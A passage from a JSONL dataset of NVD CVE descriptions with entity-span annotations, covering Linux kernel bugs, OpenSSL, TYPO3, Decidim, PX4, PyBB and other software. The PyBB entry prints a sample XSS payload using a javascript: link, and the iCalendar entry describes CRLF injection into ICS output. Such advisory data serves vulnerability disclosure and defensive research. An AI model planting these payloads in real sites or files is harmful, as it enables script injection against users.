__do_page_fault+0x1ed\n        ffffffff90c75277 do_page_fault+0x37\n        ffffffff9160111e page_fault+0x1e\n        ffffffff9109e7b5 copyin+0x25\n        ffffffff9109eb40 _copy_from_iter_full+0xe0\n        ffffffff91462370 tcp_sendmsg_locked+0x5e0\n        ffffffff91462370 tcp_sendmsg_locked+0x5e0\n        ffffffff91462b57 tcp_sendmsg+0x27\n        ffffffff9139815c sock_sendmsg+0x4c\n        ffffffff913981f7 sock_write_iter+0x97\n        ffffffff90f2cc56 do_iter_readv_writev+0x156\n        ffffffff90f2dff0 do_iter_write+0x80\n        ffffffff90f2e1c3 vfs_writev+0xa3\n        ffffffff90f2e27c do_writev+0x5c\n        ffffffff90c042bb do_syscall_64+0x5b\n        ffffffff916000ad entry_SYSCALL_64_after_hwframe+0x65\n\nThe cifs filesystem rightfully sets sk_allocations to GFP_NOFS,\nwe can avoid the nesting using the sk page frag for allocation\nlacking the __GFP_FS flag. Do not define an additional mm-helper\nfor that, as this is strictly tied to the sk page frag usage.\n\nv1 -> v2:\n - use a stricted sk_page_frag() check instead of reordering the\n   code (Eric)", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47544"}}
{"text": "Wowza Streaming Engine through 4.8.11+5 could allow an authenticated, remote attacker to exhaust filesystem resources via the /enginemanager/server/vhost/historical.jsdata vhost parameter. This is due to the insufficient management of available filesystem resources. An attacker could exploit this vulnerability through the Virtual Host Monitoring section by requesting random virtual-host historical data and exhausting available filesystem resources. A successful exploit could allow the attacker to cause database errors and cause the device to become unresponsive to web-based management. (Manual intervention is required to free filesystem resources and return the application to an operational state.)", "spans": {"FILEPATH: /enginemanager/server/vhost/historical.jsdata": [[126, 171]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-35492"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 8.6.13 and 9.5.1-alpha.2, an unauthenticated attacker can crash the Parse Server process by calling a Cloud Function endpoint with a prototype property name as the function name. The server recurses infinitely, causing a call stack size error that terminates the process. Other prototype property names bypass Cloud Function dispatch validation and return HTTP 200 responses, even though no such Cloud Functions are defined. The same applies to dot-notation traversal. All Parse Server deployments that expose the Cloud Function endpoint are affected. This vulnerability is fixed in 8.6.13 and 9.5.1-alpha.2.", "spans": {"FILEPATH: Node.js": [[95, 102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-30939"}}
{"text": "PX4 autopilot is a flight control solution for drones. In affected versions a global buffer overflow vulnerability exists in the CrsfParser_TryParseCrsfPacket function in /src/drivers/rc/crsf_rc/CrsfParser.cpp:298 due to the invalid size check. A malicious user may create an RC packet remotely and that packet goes into the device where the _rcs_buf reads. The global buffer overflow vulnerability will be triggered and the drone can behave unexpectedly. This issue has been addressed in version 1.14.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"FILEPATH: /src/drivers/rc/crsf_rc/CrsfParser.cpp": [[171, 209]], "VULNERABILITY: buffer overflow": [[85, 100], [369, 384]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-47625"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: bnx2fc: Remove spin_lock_bh while releasing resources after upload\n\nThe session resources are used by FW and driver when session is offloaded,\nonce session is uploaded these resources are not used. The lock is not\nrequired as these fields won't be used any longer. The offload and upload\ncalls are sequential, hence lock is not required.\n\nThis will suppress following BUG_ON():\n\n[  449.843143] ------------[ cut here ]------------\n[  449.848302] kernel BUG at mm/vmalloc.c:2727!\n[  449.853072] invalid opcode: 0000 [#1] PREEMPT SMP PTI\n[  449.858712] CPU: 5 PID: 1996 Comm: kworker/u24:2 Not tainted 5.14.0-118.el9.x86_64 #1\nRebooting.\n[  449.867454] Hardware name: Dell Inc. PowerEdge R730/0WCJNT, BIOS 2.3.4 11/08/2016\n[  449.876966] Workqueue: fc_rport_eq fc_rport_work [libfc]\n[  449.882910] RIP: 0010:vunmap+0x2e/0x30\n[  449.887098] Code: 00 65 8b 05 14 a2 f0 4a a9 00 ff ff 00 75 1b 55 48 89 fd e8 34 36 79 00 48 85 ed 74 0b 48 89 ef 31 f6 5d e9 14 fc ff ff 5d c3 <0f> 0b 0f 1f 44 00 00 41 57 41 56 49 89 ce 41 55 49 89 fd 41 54 41\n[  449.908054] RSP: 0018:ffffb83d878b3d68 EFLAGS: 00010206\n[  449.913887] RAX: 0000000080000201 RBX: ffff8f4355133550 RCX: 000000000d400005\n[  449.921843] RDX: 0000000000000001 RSI: 0000000000001000 RDI: ffffb83da53f5000\n[  449.929808] RBP: ffff8f4ac6675800 R08: ffffb83d878b3d30 R09: 00000000000efbdf\n[  449.937774] R10: 0000000000000003 R11: ffff8f434573e000 R12: 0000000000001000\n[  449.945736] R13: 0000000000001000 R14: ffffb83da53f5000 R15: ffff8f43d4ea3ae0\n[  449.953701] FS:  0000000000000000(0000) GS:ffff8f529fc80000(0000) knlGS:0000000000000000\n[  449.962732] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  449.969138] CR2: 00007f8cf993e150 CR3: 0000000efbe10003 CR4: 00000000003706e0\n[  449.977102] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[  449.985065] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[  449.993028] Call Trace:\n[  449.995756]  __iommu_dma_free+0x96/0x100\n[  450.000139]  bnx2fc_free_session_resc+0x67/0x240 [bnx2fc]\n[  450.006171]  bnx2fc_upload_session+0xce/0x100 [bnx2fc]\n[  450.011910]  bnx2fc_rport_event_handler+0x9f/0x240 [bnx2fc]\n[  450.018136]  fc_rport_work+0x103/0x5b0 [libfc]\n[  450.023103]  process_one_work+0x1e8/0x3c0\n[  450.027581]  worker_thread+0x50/0x3b0\n[  450.031669]  ? rescuer_thread+0x370/0x370\n[  450.036143]  kthread+0x149/0x170\n[  450.039744]  ? set_kthread_struct+0x40/0x40\n[  450.044411]  ret_from_fork+0x22/0x30\n[  450.048404] Modules linked in: vfat msdos fat xfs nfs_layout_nfsv41_files rpcsec_gss_krb5 auth_rpcgss nfsv4 dns_resolver dm_service_time qedf qed crc8 bnx2fc libfcoe libfc scsi_transport_fc intel_rapl_msr intel_rapl_common x86_pkg_temp_thermal intel_powerclamp dcdbas rapl intel_cstate intel_uncore mei_me pcspkr mei ipmi_ssif lpc_ich ipmi_si fuse zram ext4 mbcache jbd2 loop nfsv3 nfs_acl nfs lockd grace fscache netfs irdma ice sd_mod t10_pi sg ib_uverbs ib_core 8021q garp mrp stp llc mgag200 i2c_algo_bit drm_kms_helper syscopyarea sysfillrect sysimgblt mxm_wmi fb_sys_fops cec crct10dif_pclmul ahci crc32_pclmul bnx2x drm ghash_clmulni_intel libahci rfkill i40e libata megaraid_sas mdio wmi sunrpc lrw dm_crypt dm_round_robin dm_multipath dm_snapshot dm_bufio dm_mirror dm_region_hash dm_log dm_zero dm_mod linear raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx raid6_pq libcrc32c crc32c_intel raid1 raid0 iscsi_ibft squashfs be2iscsi bnx2i cnic uio cxgb4i cxgb4 tls\n[  450.048497]  libcxgbi libcxgb qla4xxx iscsi_boot_sysfs iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi edd ipmi_devintf ipmi_msghandler\n[  450.159753] ---[ end trace 712de2c57c64abc8 ]---", "spans": {"FILEPATH: /08/2016": [[787, 795]], "FILEPATH: vmalloc.c": [[538, 547]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Dell": [[741, 745]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36919"}}
{"text": "Issue summary: An OpenSSL TLS 1.3 server may fail to negotiate the expected\npreferred key exchange group when its key exchange group configuration includes\nthe default by using the 'DEFAULT' keyword.\n\nImpact summary: A less preferred key exchange may be used even when a more\npreferred group is supported by both client and server, if the group\nwas not included among the client's initial predicated keyshares.\nThis will sometimes be the case with the new hybrid post-quantum groups,\nif the client chooses to defer their use until specifically requested by\nthe server.\n\nIf an OpenSSL TLS 1.3 server's configuration uses the 'DEFAULT' keyword to\ninterpolate the built-in default group list into its own configuration, perhaps\nadding or removing specific elements, then an implementation defect causes the\n'DEFAULT' list to lose its 'tuple' structure, and all server-supported groups\nwere treated as a single sufficiently secure 'tuple', with the server not\nsending a Hello Retry Request (HRR) even when a group in a more preferred tuple\nwas mutually supported.\n\nAs a result, the client and server might fail to negotiate a mutually supported\npost-quantum key agreement group, such as 'X25519MLKEM768', if the client's\nconfiguration results in only 'classical' groups (such as 'X25519' being the\nonly ones in the client's initial keyshare prediction).\n\nOpenSSL 3.5 and later support a new syntax for selecting the most preferred TLS\n1.3 key agreement group on TLS servers.  The old syntax had a single 'flat'\nlist of groups, and treated all the supported groups as sufficiently secure.\nIf any of the keyshares predicted by the client were supported by the server\nthe most preferred among these was selected, even if other groups supported by\nthe client, but not included in the list of predicted keyshares would have been\nmore preferred, if included.\n\nThe new syntax partitions the groups into distinct 'tuples' of roughly\nequivalent security.  Within each tuple the most preferred group included among\nthe client's predicted keyshares is chosen, but if the client supports a group\nfrom a more preferred tuple, but did not predict any corresponding keyshares,\nthe server will ask the client to retry the ClientHello (by issuing a Hello\nRetry Request or HRR) with the most preferred mutually supported group.\n\nThe above works as expected when the server's configuration uses the built-in\ndefault group list, or explicitly defines its own list by directly defining the\nvarious desired groups and group 'tuples'.\n\nNo OpenSSL FIPS modules are affected by this issue, the code in question lies\noutside the FIPS boundary.\n\nOpenSSL 3.6 and 3.5 are vulnerable to this issue.\n\nOpenSSL 3.6 users should upgrade to OpenSSL 3.6.2 once it is released.\nOpenSSL 3.5 users should upgrade to OpenSSL 3.5.6 once it is released.\n\nOpenSSL 3.4, 3.3, 3.0, 1.0.2 and 1.1.1 are not affected by this issue.", "spans": {"SYSTEM: OpenSSL": [[18, 25], [576, 583], [1351, 1358], [2512, 2519], [2615, 2622], [2666, 2673], [2702, 2709], [2737, 2744], [2773, 2780], [2809, 2816]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-2673"}}
{"text": "TYPO3 is an open source, PHP based web content management system. By design, the file management module in TYPO3’s backend user interface has historically allowed the upload of any file type, with the exception of those that are directly executable in a web server context. This lack of restriction means it is possible to upload files that may be considered potentially harmful, such as executable binaries (e.g., `.exe` files), or files with inconsistent file extensions and MIME types (for example, a file incorrectly named with a `.png` extension but actually carrying the MIME type `application/zip`) starting in version 9.0.0 and prior to versions 9.5.51 ELTS, 10.4.50 ELTS, 11.5.44 ELTS, 12.4.31 LTS, and 13.4.12 LTS. Although such files are not directly executable through the web server, their presence can introduce indirect risks. For example, third-party services such as antivirus scanners or malware detection systems might flag or block access to the website for end users if suspicious files are found. This could negatively affect the availability or reputation of the site. Users should update to TYPO3 version 9.5.51 ELTS, 10.4.50 ELTS, 11.5.44 ELTS, 12.4.31 LTS, or 13.4.12 LTS to fix the problem.", "spans": {"SYSTEM: PHP": [[25, 28]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-47939"}}
{"text": "Cocos AI is a confidential computing system for AI. The current implementation of attested TLS (aTLS) in CoCoS is vulnerable to a relay attack affecting all versions from v0.4.0 through v0.8.2. This vulnerability is present in both the AMD SEV-SNP and Intel TDX deployment targets supported by CoCoS. In the affected design, an attacker may be able to extract the ephemeral TLS private key used during the intra-handshake attestation. Because the attestation evidence is bound to the ephemeral key but not to the TLS channel, possession of that key is sufficient to relay or divert the attested TLS session. A client will accept the connection under false assumptions about the endpoint it is communicating with — the attestation report cannot distinguish the genuine attested service from the attacker's relay. This undermines the intended authentication guarantees of attested TLS. A successful attack may allow an attacker to impersonate an attested CoCoS service and access data or operations that the client intended to send only to the genuine attested endpoint. Exploitation requires the attacker to first extract the ephemeral TLS private key, which is possible through physical access to the server hardware, transient execution attacks, or side-channel attacks. Note that the aTLS implementation was fully redesigned in v0.7.0, but the redesign does not address this vulnerability. The relay attack weakness is architectural and affects all releases in the v0.4.0–v0.8.2 range. This vulnerability class was formally analyzed and demonstrated across multiple attested TLS implementations, including CoCoS, by researchers whose findings were disclosed to the IETF TLS Working Group. Formal verification was conducted using ProVerif. As of time of publication, there is no patch available. No complete workaround is available. The following hardening measures reduce but do not eliminate the risk: Keep TEE firmware and microcode up to date to reduce the key-extraction surface; define strict attestation policies that validate all available report fields, including firmware versions, TCB levels, and platform configuration registers; and/or enable mutual aTLS with CA-signed certificates where deployment architecture permits.", "spans": {"ORGANIZATION: Intel": [[252, 257]], "ORGANIZATION: AMD": [[236, 239]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33697"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf/x86/intel/pt: Fix crash with stop filters in single-range mode\n\nAdd a check for !buf->single before calling pt_buffer_region_size in a\nplace where a missing check can cause a kernel crash.\n\nFixes a bug introduced by commit 670638477aed (\"perf/x86/intel/pt:\nOpportunistically use single range output mode\"), which added a\nsupport for PT single-range output mode. Since that commit if a PT\nstop filter range is hit while tracing, the kernel will crash because\nof a null pointer dereference in pt_handle_status due to calling\npt_buffer_region_size without a ToPA configured.\n\nThe commit which introduced single-range mode guarded almost all uses of\nthe ToPA buffer variables with checks of the buf->single variable, but\nmissed the case where tracing was stopped by the PT hardware, which\nhappens when execution hits a configured stop filter.\n\nTested that hitting a stop filter while PT recording successfully\nrecords a trace with this patch but crashes without this patch.", "spans": {"FILEPATH: /x86/intel/pt": [[73, 86], [316, 329]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: null pointer dereference": [[537, 561]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48713"}}
{"text": "In the DES implementation, the affected product versions use a default key for encryption. Successful exploitation allows an attacker to obtain sensitive information and gain access to the network elements that are managed by the affected products versions.\n\n\n\n\n\nThis issue affects \n\n\n\n  *  FOXMAN-UN product: FOXMAN-UN R16A, FOXMAN-UN R15B, FOXMAN-UN R15A, FOXMAN-UN R14B, FOXMAN-UN R14A, FOXMAN-UN R11B, FOXMAN-UN R11A, FOXMAN-UN R10C, FOXMAN-UN R9C; \n  *  UNEM product: UNEM R16A, UNEM R15B, UNEM R15A, UNEM R14B, UNEM R14A, UNEM R11B, UNEM R11A, UNEM R10C, UNEM R9C.\n\n\n\n\nList of CPEs: \n  *  cpe:2.3:a:hitachienergy:foxman-un:R16A:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:foxman-un:R15B:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:foxman-un:R15A:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:foxman-un:R14B:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:foxman-un:R14A:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:foxman-un:R11B:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:foxman-un:R11A:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:foxman-un:R10C:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:foxman-un:R9C:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R16A:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R15B:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R15A:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R14B:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R14A:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R11B:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R11A:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R10C:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R9C:*:*:*:*:*:*:*", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-40342"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ni2c: designware: Fix handling of real but unexpected device interrupts\n\nCommit c7b79a752871 (\"mfd: intel-lpss: Add Intel Alder Lake PCH-S PCI\nIDs\") caused a regression on certain Gigabyte motherboards for Intel\nAlder Lake-S where system crashes to NULL pointer dereference in\ni2c_dw_xfer_msg() when system resumes from S3 sleep state (\"deep\").\n\nI was able to debug the issue on Gigabyte Z690 AORUS ELITE and made\nfollowing notes:\n\n- Issue happens when resuming from S3 but not when resuming from\n  \"s2idle\"\n- PCI device 00:15.0 == i2c_designware.0 is already in D0 state when\n  system enters into pci_pm_resume_noirq() while all other i2c_designware\n  PCI devices are in D3. Devices were runtime suspended and in D3 prior\n  entering into suspend\n- Interrupt comes after pci_pm_resume_noirq() when device interrupts are\n  re-enabled\n- According to register dump the interrupt really comes from the\n  i2c_designware.0. Controller is enabled, I2C target address register\n  points to a one detectable I2C device address 0x60 and the\n  DW_IC_RAW_INTR_STAT register START_DET, STOP_DET, ACTIVITY and\n  TX_EMPTY bits are set indicating completed I2C transaction.\n\nMy guess is that the firmware uses this controller to communicate with\nan on-board I2C device during resume but does not disable the controller\nbefore giving control to an operating system.\n\nI was told the UEFI update fixes this but never the less it revealed the\ndriver is not ready to handle TX_EMPTY (or RX_FULL) interrupt when device\nis supposed to be idle and state variables are not set (especially the\ndev->msgs pointer which may point to NULL or stale old data).\n\nIntroduce a new software status flag STATUS_ACTIVE indicating when the\ncontroller is active in driver point of view. Now treat all interrupts\nthat occur when is not set as unexpected and mask all interrupts from\nthe controller.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[184, 189], [274, 279]], "VULNERABILITY: NULL pointer dereference": [[317, 341]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50370"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: set BTRFS_ROOT_ORPHAN_CLEANUP during subvol create\n\nWe have recently observed a number of subvolumes with broken dentries.\nls-ing the parent dir looks like:\n\ndrwxrwxrwt 1 root root 16 Jan 23 16:49 .\ndrwxr-xr-x 1 root root 24 Jan 23 16:48 ..\nd????????? ? ?    ?     ?            ? broken_subvol\n\nand similarly stat-ing the file fails.\n\nIn this state, deleting the subvol fails with ENOENT, but attempting to\ncreate a new file or subvol over it errors out with EEXIST and even\naborts the fs. Which leaves us a bit stuck.\n\ndmesg contains a single notable error message reading:\n\"could not do orphan cleanup -2\"\n\n2 is ENOENT and the error comes from the failure handling path of\nbtrfs_orphan_cleanup(), with the stack leading back up to\nbtrfs_lookup().\n\nbtrfs_lookup\nbtrfs_lookup_dentry\nbtrfs_orphan_cleanup // prints that message and returns -ENOENT\n\nAfter some detailed inspection of the internal state, it became clear\nthat:\n- there are no orphan items for the subvol\n- the subvol is otherwise healthy looking, it is not half-deleted or\n  anything, there is no drop progress, etc.\n- the subvol was created a while ago and does the meaningful first\n  btrfs_orphan_cleanup() call that sets BTRFS_ROOT_ORPHAN_CLEANUP much\n  later.\n- after btrfs_orphan_cleanup() fails, btrfs_lookup_dentry() returns -ENOENT,\n  which results in a negative dentry for the subvolume via\n  d_splice_alias(NULL, dentry), leading to the observed behavior. The\n  bug can be mitigated by dropping the dentry cache, at which point we\n  can successfully delete the subvolume if we want.\n\ni.e.,\nbtrfs_lookup()\n  btrfs_lookup_dentry()\n    if (!sb_rdonly(inode->vfs_inode)->vfs_inode)\n    btrfs_orphan_cleanup(sub_root)\n      test_and_set_bit(BTRFS_ROOT_ORPHAN_CLEANUP)\n      btrfs_search_slot() // finds orphan item for inode N\n      ...\n      prints \"could not do orphan cleanup -2\"\n  if (inode == ERR_PTR(-ENOENT))\n    inode = NULL;\n  return d_splice_alias(NULL, dentry) // NEGATIVE DENTRY for valid subvolume\n\nbtrfs_orphan_cleanup() does test_and_set_bit(BTRFS_ROOT_ORPHAN_CLEANUP)\non the root when it runs, so it cannot run more than once on a given\nroot, so something else must run concurrently. However, the obvious\nroutes to deleting an orphan when nlinks goes to 0 should not be able to\nrun without first doing a lookup into the subvolume, which should run\nbtrfs_orphan_cleanup() and set the bit.\n\nThe final important observation is that create_subvol() calls\nd_instantiate_new() but does not set BTRFS_ROOT_ORPHAN_CLEANUP, so if\nthe dentry cache gets dropped, the next lookup into the subvolume will\nmake a real call into btrfs_orphan_cleanup() for the first time. This\nopens up the possibility of concurrently deleting the inode/orphan items\nbut most typical evict() paths will be holding a reference on the parent\ndentry (child dentry holds parent->d_lockref.count via dget in\nd_alloc(), released in __dentry_kill()) and prevent the parent from\nbeing removed from the dentry cache.\n\nThe one exception is delayed iputs. Ordered extent creation calls\nigrab() on the inode. If the file is unlinked and closed while those\nrefs are held, iput() in __dentry_kill() decrements i_count but does\nnot trigger eviction (i_count > 0). The child dentry is freed and the\nsubvol dentry's d_lockref.count drops to 0, making it evictable while\nthe inode is still alive.\n\nSince there are two races (the race between writeback and unlink and\nthe race between lookup and delayed iputs), and there are too many moving\nparts, the following three diagrams show the complete picture.\n(Only the second and third are races)\n\nPhase 1:\nCreate Subvol in dentry cache without BTRFS_ROOT_ORPHAN_CLEANUP set\n\nbtrfs_mksubvol()\n  lookup_one_len()\n    __lookup_slow()\n      d_alloc_parallel()\n        __d_alloc() // d_lockref.count = 1\n  create_subvol(dentry)\n    // doesn't touch the bit..\n    d_instantiate_new(dentry, inode) // dentry in cache with d_lockref.c\n---truncated---", "spans": {"FILEPATH: d_lockref.c": [[3971, 3982]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31519"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPI: platform_profile: Avoid initializing on non-ACPI platforms\n\nThe platform profile driver is loaded even on platforms that do not have\nACPI enabled. The initialization of the sysfs entries was recently moved\nfrom platform_profile_register() to the module init call, and those\nentries need acpi_kobj to be initialized which is not the case when ACPI\nis disabled.\n\nThis results in the following warning:\n\n WARNING: CPU: 5 PID: 1 at fs/sysfs/group.c:131 internal_create_group+0xa22/0xdd8\n Modules linked in:\n CPU: 5 UID: 0 PID: 1 Comm: swapper/0 Tainted: G        W           6.15.0-rc7-dirty #6 PREEMPT\n Tainted: [W]=WARN\n Hardware name: riscv-virtio,qemu (DT)\n epc : internal_create_group+0xa22/0xdd8\n  ra : internal_create_group+0xa22/0xdd8\n\n Call Trace:\n\n internal_create_group+0xa22/0xdd8\n sysfs_create_group+0x22/0x2e\n platform_profile_init+0x74/0xb2\n do_one_initcall+0x198/0xa9e\n kernel_init_freeable+0x6d8/0x780\n kernel_init+0x28/0x24c\n ret_from_fork+0xe/0x18\n\nFix this by checking if ACPI is enabled before trying to create sysfs\nentries.\n\n[ rjw: Subject and changelog edits ]", "spans": {"FILEPATH: /sysfs/group.c": [[505, 519]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38296"}}
{"text": "Decidim is a participatory democracy framework. Starting in version 0.0.1 and prior to versions 0.30.5 and 0.31.1, the root level `commentable` field in the API allows access to all commentable resources within the platform, without any permission checks. All Decidim instances are impacted that have not secured the `/api` endpoint. The `/api` endpoint is publicly available with the default configuration. Versions 0.30.5 and 0.31.1 fix the issue. As a workaround, limit the scope to only authenticated users by limiting access to the `/api` endpoint. This would require custom code or installing the 3rd party module `Decidim::Apiauth`. With custom code, the `/api` endpoint can be limited to only authenticated users. The same configuration can be also used without the `allow` statements to disable all traffic to the the `/api` endpoint. When considering a workaround and the seriousness of the vulnerability, please consider the nature of the platform. If the platform is primarily serving public data, this vulnerability is not serious by its nature. If the platform is protecting some resources, e.g. inside private participation spaces, the vulnerability may expose some data to the attacker that is not meant public. For those who have enabled the organization setting \"Force users to authenticate before access organization\", the scope of this vulnerability is limited to the users who are allowed to log in to the Decidim platform. This setting was introduced in version 0.19.0 and it was applied to the `/api` endpoint in version 0.22.0.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40870"}}
{"text": "PyBB is an open source bulletin board. A manual code review of the PyBB bulletin board server has revealed that a vulnerability could have been exploited in which users could submit any type of HTML tag, and have said tag run. For example, a malicious `<a>` that looks like ```<a href=javascript:alert (1)>xss</a>``` could have been used to run code through JavaScript on the client side. The problem has been patched as of commit `5defd92`, and users are advised to upgrade. Attackers do need posting privilege in order to exploit this vulnerability. This vulnerability is present within the 0.1.0 release, and users are advised to upgrade to 0.1.1. Users unable to upgrade may be able to work around the attack by either; Removing the ability to create posts, removing the `|safe` tag from the Jinja2 template titled \"post.html\" in templates or by adding manual validation of links in the post creation section.", "spans": {"FILEPATH: post.html": [[820, 829]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-34461"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: tun: Fix use-after-free in tun_detach()\n\nsyzbot reported use-after-free in tun_detach() [1].  This causes call\ntrace like below:\n\n==================================================================\nBUG: KASAN: use-after-free in notifier_call_chain+0x1ee/0x200 kernel/notifier.c:75\nRead of size 8 at addr ffff88807324e2a8 by task syz-executor.0/3673\n\nCPU: 0 PID: 3673 Comm: syz-executor.0 Not tainted 6.1.0-rc5-syzkaller-00044-gcc675d22e422 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/26/2022\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0xd1/0x138 lib/dump_stack.c:106\n print_address_description mm/kasan/report.c:284 [inline]\n print_report+0x15e/0x461 mm/kasan/report.c:395\n kasan_report+0xbf/0x1f0 mm/kasan/report.c:495\n notifier_call_chain+0x1ee/0x200 kernel/notifier.c:75\n call_netdevice_notifiers_info+0x86/0x130 net/core/dev.c:1942\n call_netdevice_notifiers_extack net/core/dev.c:1983 [inline]\n call_netdevice_notifiers net/core/dev.c:1997 [inline]\n netdev_wait_allrefs_any net/core/dev.c:10237 [inline]\n netdev_run_todo+0xbc6/0x1100 net/core/dev.c:10351\n tun_detach drivers/net/tun.c:704 [inline]\n tun_chr_close+0xe4/0x190 drivers/net/tun.c:3467\n __fput+0x27c/0xa90 fs/file_table.c:320\n task_work_run+0x16f/0x270 kernel/task_work.c:179\n exit_task_work include/linux/task_work.h:38 [inline]\n do_exit+0xb3d/0x2a30 kernel/exit.c:820\n do_group_exit+0xd4/0x2a0 kernel/exit.c:950\n get_signal+0x21b1/0x2440 kernel/signal.c:2858\n arch_do_signal_or_restart+0x86/0x2300 arch/x86/kernel/signal.c:869\n exit_to_user_mode_loop kernel/entry/common.c:168 [inline]\n exit_to_user_mode_prepare+0x15f/0x250 kernel/entry/common.c:203\n __syscall_exit_to_user_mode_work kernel/entry/common.c:285 [inline]\n syscall_exit_to_user_mode+0x1d/0x50 kernel/entry/common.c:296\n do_syscall_64+0x46/0xb0 arch/x86/entry/common.c:86\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nThe cause of the issue is that sock_put() from __tun_detach() drops\nlast reference count for struct net, and then notifier_call_chain()\nfrom netdev_state_change() accesses that struct net.\n\nThis patch fixes the issue by calling sock_put() from tun_detach()\nafter all necessary accesses for the struct net has done.", "spans": {"FILEPATH: /26/2022": [[597, 605]], "FILEPATH: /kasan/report.c": [[746, 761], [803, 818], [850, 865]], "FILEPATH: /core/dev.c": [[969, 980], [1022, 1033], [1077, 1088], [1131, 1142], [1191, 1202]], "FILEPATH: /net/tun.c": [[1228, 1238], [1285, 1295]], "FILEPATH: /linux/task_work.h": [[1414, 1432]], "FILEPATH: /x86/kernel/signal.c": [[1619, 1639]], "FILEPATH: /entry/common.c": [[1674, 1689], [1748, 1763], [1808, 1823], [1880, 1895]], "FILEPATH: /x86/entry/common.c": [[1929, 1948]], "FILEPATH: notifier.c": [[340, 350], [910, 920]], "FILEPATH: dump_stack.c": [[644, 656], [700, 712]], "FILEPATH: file_table.c": [[1324, 1336]], "FILEPATH: task_work.c": [[1375, 1386]], "FILEPATH: exit.c": [[1474, 1480], [1518, 1524]], "FILEPATH: signal.c": [[1562, 1570]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[531, 537], [538, 544], [560, 566], [588, 594]], "VULNERABILITY: use-after-free": [[83, 97], [131, 145], [283, 297]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49014"}}
{"text": "iCalendar is a Ruby library for dealing with iCalendar files in the iCalendar format defined by RFC-5545. Starting in version 2.0.0 and prior to version 2.12.2, .ics serialization does not properly sanitize URI property values, enabling ICS injection through attacker-controlled input, adding arbitrary calendar lines to the output. `Icalendar::Values::Uri` falls back to the raw input string when `URI.parse` fails and later serializes it with `value.to_s` without removing or escaping `\\r` or `\\n` characters. That value is embedded directly into the final ICS line by the normal serializer, so a payload containing CRLF can terminate the original property and create a new ICS property or component. (It looks like you can inject via url, source, image, organizer, attach, attendee, conference, tzurl because of this). Applications that generate `.ics` files from partially untrusted metadata are impacted. As a result, downstream calendar clients or importers may process attacker-supplied content as if it were legitimate event data, such as added attendees, modified URLs, alarms, or other calendar fields. Version 2.12.2 contains a patch for the issue.", "spans": {"SYSTEM: Ruby": [[15, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33635"}}
